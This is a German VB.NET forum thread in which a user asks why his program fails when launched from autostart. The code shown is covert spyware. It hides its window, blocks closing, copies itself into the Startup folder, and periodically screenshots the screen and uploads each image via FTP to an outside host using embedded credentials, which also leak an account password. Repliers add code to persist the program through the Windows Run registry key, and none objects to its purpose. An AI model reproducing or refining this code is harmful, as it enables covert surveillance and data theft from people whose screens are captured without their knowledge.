Problem : Das Programm im Autostart geht nicht : ,,Das Konfigurationssystem konnte nicht initialisiert werden "

  • VB.NET

Es gibt 5 Antworten in diesem Thema. Der letzte Beitrag () ist von GimpTutWorks.

    Problem : Das Programm im Autostart geht nicht : ,,Das Konfigurationssystem konnte nicht initialisiert werden "

    Hier der Code des Programms :


    Public Class Form1

    Dim a As String = Application.ExecutablePath
    Dim b As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(a)

    Dim Zeit As String = 1


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    Label1.Text += "1"
    End Sub

    Private Sub Screenshot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Screenshot.Tick
    Dim bounds As Rectangle
    Dim screenshot As System.Drawing.Bitmap
    Dim graph As Graphics
    bounds = Screen.PrimaryScreen.Bounds
    screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
    graph = Graphics.FromImage(screenshot)
    graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
    PictureBox1.Image = screenshot
    Zeit += "1"
    My.Settings.Zeit = Zeit
    My.Settings.Save()
    Try
    PictureBox1.Image.Save(Zeit & ".gif ", System.Drawing.Imaging.ImageFormat.Gif)
    My.Computer.Network.UploadFile(Zeit & ".gif", "ftp://geflasht1.ge.funpic.de/" & Zeit + ".gif", "geflasht1", "900fersen")

    Catch ex As Exception

    End Try

    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
    e.Cancel = True
    Me.Hide()
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Me.WindowState = FormWindowState.Minimized
    Me.ShowInTaskbar = False
    Try
    IO.File.Copy(a, b)
    Catch ex As Exception

    Me.Hide()

    End Try



    Try
    Zeit = My.Settings.Zeit
    Catch ex As Exception
    My.Settings.Zeit = "1"
    My.Settings.Save()
    Zeit = My.Settings.Zeit

    End Try


    End Sub
    End Class


    ;( ;( ;( ;( ;( Immer , wenn das Teil jetzt mit dem Autostart gestartet wird kommt die Fehlermeldung ,,Das Konfigurationssystem konnte nicht initialisiert werden " Wenn ich sie wegklicke , kommt sie nach 3 sek wieder erst wenn ich auf beenden klick und es beendet wird ist Schluss ;( ;( ;( Was mache ich falsch ?? Wieso startet es nicht ganz normal , so wie beim Debuggen ohne Fehler ??? :?: :?: :?:

    geflasht1 schrieb:

    My.Computer.Network.UploadFile(Zeit & ".gif", "ftp://geflasht1.ge.funpic.de/" & Zeit + ".gif", "geflasht1", "***")

    :pinch: Passwort in ein öffentliches Forum posten...

    außerdem gibts sowas wie einen VB-Tag

    Quellcode

    1. [code=vbnet]Dein Code
    [/code]

    mach das lieber über die registry und wenn schon bei Autostart im Startmenü, dann kopier nicht die exe dort rein sondern eine Verknüpfung

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „jul“ ()

    Machs lieber gleich über die registry.

    Win32 importieren dann:

    VB.NET-Quellcode

    1. 'in Autostart einbinden.
    2. Dim a As String = Application.ExecutablePath
    3. Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Name.exe", a)
    4. 'Aus Autostart raus.
    5. Dim a As String = Application.ExecutablePath
    6. My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue("Name.exe")


    Es sollte natürlich überprüft werden, ob der Eintrag existiert oder nicht.

    VB.NET-Quellcode

    1. Dim key As String = ""
    2. key = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True).GetValue("Name.exe").ToString
    3. If key <> Nothing Then
    4. 'Ist im Autostart drinne. Muss also nicht mehr eingebunden werden.
    5. 'Hier kann aber gelöscht werden
    6. 'Einbinden = Nein
    7. 'Löschen = JA
    8. Else
    9. 'Der Eintrag existiert nicht. Kann also gesetz werden.
    10. 'Ein nicht vorhandender Eintrag kann nicht gelöscht werden.
    11. 'Einbinden = JA
    12. 'Löschen = Nein
    13. End If


    MfG GTW